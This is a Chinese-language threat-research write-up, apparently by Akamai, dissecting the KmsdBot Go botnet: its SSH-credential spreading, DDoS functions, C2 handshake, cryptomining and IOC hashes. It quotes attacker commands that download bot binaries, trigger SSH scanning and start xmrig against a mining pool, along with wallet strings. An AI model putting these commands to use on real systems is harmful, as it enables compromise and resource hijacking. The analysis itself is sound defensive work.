KmsdBot:攻击和挖矿恶意软件
执行摘要
Akamai 安全情报组观察到一种新的恶意软件感染了我们的蜜罐,我们将其命名为 KmsdBot。
该 僵尸网络 通过使用弱登录凭据的 SSH 连接来感染系统。
它是用 Golang 编写的,这种语言在攻击者之间日渐普及,原因就在于 Golang 程序的逆向工程难度很高。
该恶意软件使用 UDP、TCP、HTTP POST 和 GET 实施攻击,同时还有一个通过 TCP 进行通信的命令和控制基础架构 (C2)。
为了规避检测,该恶意软件不会在受感染的系统上持久存在。
该恶意软件有不同的目标,包括游戏行业、技术行业和豪华汽车制造商。
该僵尸网络还有挖掘加密货币的能力。
该恶意软件支持多种架构,比如 Winx86、Arm64 和 mips64、x86_64。
每天都有新的恶意软件出现
Akamai 安全情报响应团队 (SIRT) 负责跟踪、检测、记录和发布全新发现,以保护 Akamai、Akamai 客户以及整个互联网的安全性和稳定性。作为这项使命的一部分,我们有无数的蜜罐分布在互联网上。SIRT 成员对这些蜜罐进行观察和分析,从中发现各种非常有用的情报,同时借此把握互联网脉搏。
本周,我们开始试验一种新的蜜罐配置,尝试探索更多情报,而即将到来的假日季也给我们的尝试创造了绝佳机会。每年的这个时候,我们观察到的恶意活动数量通常都会更多,因此,在测试和修改的早期阶段,新蜜罐处于更开放、更易访问的状态。应该没有比这更好的测试方法了,不是吗?
果然,我们发现了一个颇为值得关注的日志条目:一个具有分布式拒绝服务 (DDoS) 功能 的加密挖矿程序,而且针对游戏行业进行了定制。此类僵尸网络发起主动攻击和传播的情况较为少见,使用 Golang 编写的僵尸网络就更是如此。该恶意软件的目标可以用飘忽不定来形容,从游戏公司、豪华汽车品牌再到安全公司,都会成为它的目标。
在这篇文章中,我们将概述 KmsdBot 的案例与我们的防御机制的交锋,您可以借此研究这种恶意软件,并加强贵公司的安全性。
始终检查日志
由于蜜罐相当开放,我们预计它会遭遇大量攻击。毕竟,一个优秀的蜜罐对攻击者很有诱惑力。在观察到一些可下载恶意软件的命令后,我们启动了调查工作。经过仔细核查,我们发现了相当多类似于图 1 的条目。
图 1:恶意软件感染下载和执行命令的日志条目
我们使用文件传输协议 (FTP) 来登录系统,并访问所有可供下载的文件。这可以告诉我们相当多的信息,让我们了解恶意软件本身的动机和潜在的幕后攻击者。
图 2:支持的各种 CPU 架构
图 2 显示了 FTP 下载服务器的目录结构。我们可以看到系统架构目录,其中有些包含已编译的二进制文件,其他一些则是空的。但空目录表明了恶意软件作者接下来可能攻击的位置。download.php 脚本包含感染代码,该代码将在执行代码的 Web 服务器中下载和执行恶意软件:
图 3:download.php 脚本包含感染代码,该代码将在执行代码的 Web 服务器中下载和执行恶意软件
经过进一步分析,似乎有相当多经过交叉编译的二进制文件,用于各种不同的架构(图 3)。虽然有些目录是空的,但有些架构(比如 x86_64 和 386)中有恶意软件样本可以下载。在本文稍后探讨攻击目标时,别忘了这件事。
图 4:大小相似的二进制文件似乎是同一恶意软件代码库的不同修订版本
这些文件都是经过编译的 Go 语言二进制文件。
client: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, Go BuildID=ob_PyXeD8H4173aDP-NM/Z7DzwyNXZ8c1Wr7LyTOK/t8bg8nky3tdpKdKSAvyp/_nWexL6rk1sZt5hRLfgs, with debug_info, not stripped
ksmdm: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=lmjZVXbGVxjEutEAYziK/ak2EoKWzPPmCz2ipOltK/uKypKwO7m2jjT2AT0qnG/PiKIqd334XYNEl_likc3, with debug_info, not stripped
ksmds: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=CV7cqV3r6hVM05Ma2jpB/kc_FWOhPv8HtKZQUhiUi/jrGTR9lhjVWxp-9kHdDA/ev1S8rMmqqwjpvWz4sLX, with debug_info, not stripped
ksmdx: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=S65yXt0R7hEC1YEm5Ci7/qGG-jP6bpvA1TCgQwZoV/WpM491XNek0FReOrQmX_/EMNmhh6mJI8ycZhLPtP4, with debug_info, not stripped
kxmd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=57pm413aVTQ8gOrUjHox/DwlgdSzYxLxitlBpe0OR/hdbtJaHv8ujFruku5AIJ/RrSUbVKsJ9wj-rBopzh3, with debug_info, not stripped
kzmd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=2FTLNIjq7bgMnSOW0NhD/YBc64Ubft703RycI5yQL/85YkVXL_eseyGJG3XHm1/M_laLRa5tNb5oeZ24ROq, with debug_info, not stripped
分析
客户端二进制文件和 ksmdm 二进制文件的 Redress 源输出的差异表明,它们很可能是相同的东西,只是代码略有不同。Redress 是一个开源的 Go 语言逆向工程实用程序,它可以重建 Go 二进制文件的结构以协助进行逆向工程。这种工具相当重要,因为我们看到越来越多的攻击者利用 Golang 语言进行恶意攻击,原因或许是该语言对逆向工程提出了更大的挑战。
同样的恶意软件,功能却有所不同
大多数二进制文件的 Go 软件包名称“/root/client”是相同的,这意味着它们可能是相同的恶意软件,但可能是具有较新功能的不同修订版。恶意软件经常更新,但这个软件存在多个更新方向,这很独特。我们认为,存在一个客户端二进制文件与 C2 进行通信、执行更新,以及启动和停止挖矿过程。另一个二进制文件似乎在进行挖矿操作和攻击操作。
$ diff client.source ksmdm.source
19,23c19,23
< start Lines: 12 to 28 (16)
< startfunc1 Lines: 19 to 30 (11)
< startfunc2 Lines: 22 to 22 (0)
< udpclimb Lines: 30 to 60 (30)
< tcpclimb Lines: 60 to 88 (28)
---
> start Lines: 10 to 26 (16)
> startfunc1 Lines: 17 to 28 (11)
> startfunc2 Lines: 20 to 20 (0)
> udpclimb Lines: 28 to 58 (30)
> tcpclimb Lines: 58 to 86 (28)
对于该恶意软件的攻击目标,我们所观察到的第一个目标就是一家名为 FiveM的公司,这家客户为用户提供《侠盗猎车手 Online》定制私服的托管服务。通过图 5 可以看到,该恶意软件打开了一个 UDP 套接字,并且构建了一个带有 FiveM 会话令牌的数据包。这会造成服务器误认为有用户正在启动一个新会话,并且会浪费网络带宽及其他一些资源。该恶意软件不仅包括特定的定向攻击,还包括通用的第 4 层和第 7 层攻击。
图 5:反汇编 sym.main.udpfivemtoken 函数的结果,可以看到恶意程序创建了一个带有 FiveM 令牌数据的 UDP 数据包
扫描和传播
通过检查 ksmdx 样本,我们发现了执行扫描操作和软件更新的函数,以及控制挖矿过程的函数。
Package main: /root/client
File: client.go
(*Client)Recv Lines: 23 to 34 (11)
(*Client)Handle Lines: 34 to 52 (18)
(*Client).Handlefunc1 Lines: 35 to 35 (0)
File: command.go
NewCommand Lines: 15 to 32 (17)
(*Command)Handle Lines: 32 to 62 (30)
File: commandfunctions.go
ShellExec Lines: 11 to 23 (12)
scan Lines: 23 to 50 (27)
stopscan Lines: 50 to 69 (19)
updateminer Lines: 69 to 108 (39)
stopmine Lines: 108 to 127 (19)
updateclient Lines: 127 to 159 (32)
File: main.go
main Lines: 8 to 16 (8)
File: methods.go
start Lines: 12 to 28 (16)
startfunc1 Lines: 19 to 30 (11)
startfunc2 Lines: 22 to 22 (0)
udpclimb Lines: 30 to 60 (30)
tcpclimb Lines: 60 to 88 (28)
File: utils.go
randomwallet Lines: 73 to 79 (6)
envname Lines: 79 to 129 (50)
ksmdx 二进制文件是一个下载器,它会向 C2 发送 HTTP POST 请求,从而告知 C2 系统已被感染,通知内容为“Bruh Started:”。
$./ksmdx 192.168.0.14 /ksmdm 192.168.0.14 kumd kxmds
我们在 HTTP 服务器的日志中看到了 GET 请求:
192.168.0.44 - - [20/Oct/2022:13:09:34 -0400] "GET /ksmdm HTTP/1.1" 200 2904330 "-" "Go-http-client/1.1"
在 45833 端口上启动监听器后,我们看到了执行确认 POST 消息:
可以向该爬虫程序发送 !scan 命令来下载登录凭据列表(图 5),从而在扫描开放的 SSH 端口时使用:
!scan xxx.xxx.xxx.xxx xxx.xxx.xxx.xxx/win/kzmds xxx.xxx.xxx.xxx kvmd kmsd
图 6:文件 kzmds 是一个用户名和密码组合的列表
C2 通信
[pid 18212] connect(3, {sa_family=AF_INET, sin_port=htons(51382), sin_addr=inet_addr("xxx.xxx.xxx.xxx")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 1047] connect(4, {sa_family=AF_INET, sin_port=htons(51388), sin_addr=inet_addr("xxx.xxx.xxx.xxx")}, 16) = -1 EINPROGRESS (Operation now in progress)
再次检查日志时,我看到恶意软件正在从一个新的 IP 地址攻击我的蜜罐。它正在上传新的二进制文件,其中内置了一个新的 C2 IP 地址。
通过观察网络流量,我们看到,感染的系统使用 0x00 空字节对连接进行初始化,C2 发出 0x01 响应。然后,感染的系统用十六进制数 0x02(也就是十进制的 2)响应。
[pid 2514865] write(4, "0x02", 4) = 4
And 0x01 is the response
xxx.xxx.xxx.xxx.51388 > xxx.xxx.xxx.xxx.52280: Flags [P.], cksum 0xf2b4 (correct), seq 20:24, ack 21, win 510, options [nop,nop,TS val 1019359456 ecr 4067014838], length 4
0x0000: 4500 0038 adf3 4000 3a06 9b4a ab16 1e1f E..8..@.:..J....
0x0010: c63a 6812 c8bc cc38 81f9 f90a abeb 552a .:h....8......U*
0x0020: 8018 01fe f2b4 0000 0101 080a 3cc2 30e0 ............<.0.
0x0030: f269 b8b6 3078 3031 .i..0x01
我们可以用 netcat 实用程序对此进行快速测试。
$ echo "0x00" | nc xxx.xxx.xxx.xxx 51388
0x01
[pid 2516369] write(4, "0x00", 4) = 4
It looks like 0x02 is the heartbeat
xxx.xxx.xxx.xxx.52280 > xxx.xxx.xxx.xxx.51388: Flags [P.], cksum 0xf7ac (incorrect -> 0xd616), seq 57:61, ack 57, win 502, options [nop,nop,TS val 4066922833 ecr 1019262337], length 4
0x0000: 4500 0038 3010 4000 4006 132e c63a 6812 E..80.@.@....:h.
0x0010: ab16 1e1f cc38 c8bc abeb 54de 81f9 f8c2 .....8....T.....
0x0020: 8018 01f6 f7ac 0000 0101 080a f268 5151 .............hQQ
0x0030: 3cc0 b581 3078 3032 <...0x02
与 C2 通信
下面的绿色高亮文本是 C2 发出的响应,蓝色高亮文本是我通过发送 0x02 响应来模拟恶意软件的位置。
% telnet xxx.xxx.xxx.xxx 57388
Trying xxx.xxx.xxx.xxx...
Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.
0x00
0x010x02
0x010x02
0x010x02
0x010x02
0x010x02
0x01
加密挖矿
来自 sym.main.randomwallet() 函数的潜在加密钱包用户帐户如下所示。我怀疑这些帐户是随机选择的,用来为各种矿池做出贡献。在我观察该僵尸网络的过程中,我没有看到任何加密挖矿活动。该僵尸网络只参与了 DDoS 活动。但是,该爬虫程序确实具有启动加密挖矿活动的功能,我发现了命令 ./ksmdr -o pool.hashvault.pro,其中的 ksmdr 实际上是经过重命名的 xmrig 二进制文件。
│ │╎ 0x0065b6b0 488d05356c08. lea rax, [0x006e22ec] ; "42WDUXX5UYtNf9DyboNRx6TgNrJD43QfgTvEjh8djtdKVoNppnN96Nz8sVp2wWJTQgW9e8XjFLkv6KpSEgwWbLXLMKn5wwg42vGrE1WDpKgue8Y9ewpi6gXupMqDqYi"
│ │╎ 0x0065b6b7 4889442428 mov qword [var_28h], rax
│ │╎ 0x0065b6bc 48c74424305f. mov qword [var_30h], 0x5f ; '_'
│ │╎ ; [0x5f:8]=-1 ; 95
│ │╎ 0x0065b6c5 488d053d6d08. lea rax, [0x006e2409] ; "46DBehyheMSatgdGffv8SVAEK8ts6Ur4wToVNL99Yqo6ZGnv7q4QpaxG7YnaasngPvN1rbyxYyCZAABgyXyme92wRMaVn1V3617de4a96262c6f5d9e98bf9292dc29"
│ │╎ 0x0065b6cc 4889442438 mov qword [var_38h], rax
│ │╎ 0x0065b6d1 48c74424405f. mov qword [var_40h], 0x5f ; '_'
│ │╎ ; [0x5f:8]=-1 ; 95
│ │╎ 0x0065b6da 488d05c96c08. lea rax, [0x006e23aa] ; "45yK4gR5QCNag2X4g6ss6PUiL4s1e929b8mev4Rz3CbiTPU9NSXYHiyPL9FMi6cDVvD7EKho4atUf82s3vkVfFXNSsMqyUE46DBehyheMSatgdGffv8SVAEK8ts6Ur4"
│ │╎ 0x0065b6e1 4889442448 mov qword [var_48h], rax
│ │╎ 0x0065b6e6 48c74424505f. mov qword [var_50h], 0x5f ; '_'
│ │╎ ; [0x5f:8]=-1 ; 95
│ │╎ 0x0065b6ef 488d05556c08. lea rax, [0x006e234b] ; "42vGrE1WDpKgue8Y9ewpi6gXupMqDqYiKV4EwM7CFZFuNdRKP3dG6rADE7DRAcoEWGY6LmgCRKAiX16wGAu3Tj4mMQ9HR5B45yK4gR5QCNag2X4g6ss6PUiL4s1e929"
检查源代码结构后,我们发现,一些二进制文件是同一代码库的不同更新版本,因此,攻击者应该正在积极开发这个僵尸网络。
$ diff reports/kxmd/kxmd-src.txt reports/75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51/75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51-src.txt
8c8
< (*Command)Handle Lines: 32 to 136 (104)
---
> (*Command)Handle Lines: 32 to 144 (112)
11,18c11,20
< scan Lines: 23 to 50 (27)
< stopscan Lines: 50 to 69 (19)
< updateminer Lines: 69 to 108 (39)
< stopmine Lines: 108 to 127 (19)
< updateclient Lines: 127 to 161 (34)
< loadclient Lines: 161 to 180 (19)
< startminer Lines: 180 to 193 (13)
< reloadminer Lines: 193 to 208 (15)
---
> scan Lines: 23 to 52 (29)
> startscan Lines: 52 to 75 (23)
> stopscan Lines: 75 to 97 (22)
> updateminer Lines: 97 to 144 (47)
> stopmine Lines: 144 to 166 (22)
> updateclient Lines: 166 to 202 (36)
> loadclient Lines: 202 to 221 (19)
> removefile Lines: 221 to 235 (14)
> startminer Lines: 235 to 248 (13)
> reloadminer Lines: 248 to 264 (16)
54,60c56,62
< getrandpath Lines: 12 to 62 (50)
< get Lines: 62 to 109 (47)
< fivem Lines: 109 to 156 (47)
< fivemguid Lines: 156 to 204 (48)
< post1 Lines: 204 to 255 (51)
< post Lines: 255 to 344 (89)
< bigdata Lines: 344 to 386 (42)
---
> getrandpath Lines: 11 to 61 (50)
> get Lines: 61 to 108 (47)
> fivem Lines: 108 to 158 (50)
> fivemguid Lines: 158 to 206 (48)
> post1 Lines: 206 to 257 (51)
> post Lines: 257 to 346 (89)
> bigdata Lines: 346 to 388 (42)
攻击流量分析
我观察到的攻击要么是第 4 层 TCP/UDP 数据包(使用随机数据作为有效载荷),要么是第 7 层 HTTP(包含对根路径或攻击命令中设置的指定路径发起的 GET 和 POST 请求)(图 6)。
图 7:攻击 POST 请求
下面的屏幕截图显示了被篡改的请求标头,这些标头包含随机引用站点(有一个缺失的标头)。为了保护隐私,我们对其中一些图片进行了清理。
在图 8 中,我们可以看到来自 C2 的命令 !post,指示对目标发起攻击。
图 8:来自 C2 的攻击命令
C2 是在函数 sym.main.connect() 中定义的,图 8、9 和 10 中显示了 C2。
图 9:反汇编 C2 通信函数的结果
图 10:反汇编 0x02 响应代码的结果
图 11:TCP 大数据攻击数据包
IOC
SHA256
701b874a56a9a0ed4101a88621441afec936c4210e18d9a3e20f9a95c454ce40 client
8d1df3c5357adbab988c62682c85b51582649ff8a3b5c21fca3780fe220e5b11 ksmdm
e83a61c538f11e4fc9dd9d0f414a9e74d0d585ffe3302e4d3741be6a3523bd1e ksmds
714eeba5b6e4610946cd07c1ddadddc94052bfe450a8a9b1c23495721082884d ksmdx
8775bdd7a33f136d31b2840dab68505ac0ab8eaa0bcb58713fae36552b8a1f95 kxmds
b927e0fe58219305d86df8b3e44493a7c854a6ea4f76d1ebe531a7bfd4365b54 kxmd
75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51 kzmd
09761d69bd5b00b2e767a1105dd3e80ce17b795cd817676c737a1e83c5b96f1b kumd.exe
8d1df3c5357adbab988c62682c85b51582649ff8a3b5c21fca3780fe220e5b11 ksmdm
3928c5874249cc71b2d88e5c0c00989ac394238747bb7638897fc210531b4aab ksmdr(xmrig)
e83a61c538f11e4fc9dd9d0f414a9e74d0d585ffe3302e4d3741be6a3523bd1e ksmds
01b4d10e08d10c36d0c50f00d017fd6b3da8ebdd194ecafd12b0335c07f9ae10 ksmdx
74075b2bdfaf52d9e5984a28ec7765ae489077a69dd696718e724a455a6f7910 kumd
b927e0fe58219305d86df8b3e44493a7c854a6ea4f76d1ebe531a7bfd4365b54 kxmd
8775bdd7a33f136d31b2840dab68505ac0ab8eaa0bcb58713fae36552b8a1f95 kxmds
7fe04a3307666e6b6dac381664c901daea3ed5e8af3d7700ac5bde9550350d5a kmsd.amd64
2e091ecc4c912e6fbe4258da470459018dc8f3efde2803281a416a2c8eb8cf1a kmsd.arm
7c8a06b85280a43f96215203fb229d0f2a91b23d84e6ab2d25d9382fef19c35b kmsd.arm64
da609100cb66e6e4e79916ca1e7481269406e6a484f46187b3accb1626552d61 kmsd.mips
8136613eb3427f908a200f52b7938cc184a31b626b6c85a35e664c064de6d533 kmsd.mips64
50f2fb45c11e40ea4bbf4a8a733b6e65ce25c3f182aa0aa33ffb59ebae712003 kmsd.mipsle
e5a06b250ba10fe0156efe7399b321cb8b1fc8b1929e49ee62d837fa1440313f kmsd.ppc64
2971a37849388c7c3af0840eabc52f0b604fb9894429b7397100b12a069cfeff kmsd.ppc64le
247b0d5e40b8b1ec316e9700b499a2dc20d73bfd7f36d913e7725334a2818a7e kmsd.riscv64
7517e597a6ba4a8659b2dd4252085a99baca000684435f8b451af1418bfcac84 kmsd.s390x
结论
这个僵尸网络很好地展现了安全领域的复杂性,及其发展演变的程度。最初,这个爬虫程序似乎仅针对游戏应用程序,但如今已经转为对大型奢侈品牌发起攻击。它具有全新的感染方式——使用弱登录凭据的 SSH 连接。好消息是,我们推荐用于保护大多数企业系统和网络的技术在抵御这种攻击时依然适用。
切勿为服务器或部署的应用程序使用弱凭据或默认凭据。
确保及时为部署的应用程序更新安全补丁,并不时检查是否有新版补丁。
为您的 SSH 连接使用公钥身份验证。这是防止此类系统入侵的最好方法。
Akamai SIRT 将继续监测此活动,并在有更新时予以发布。
如需了解更多实时研究和新鲜动态,请关注 Akamai 微信公众号!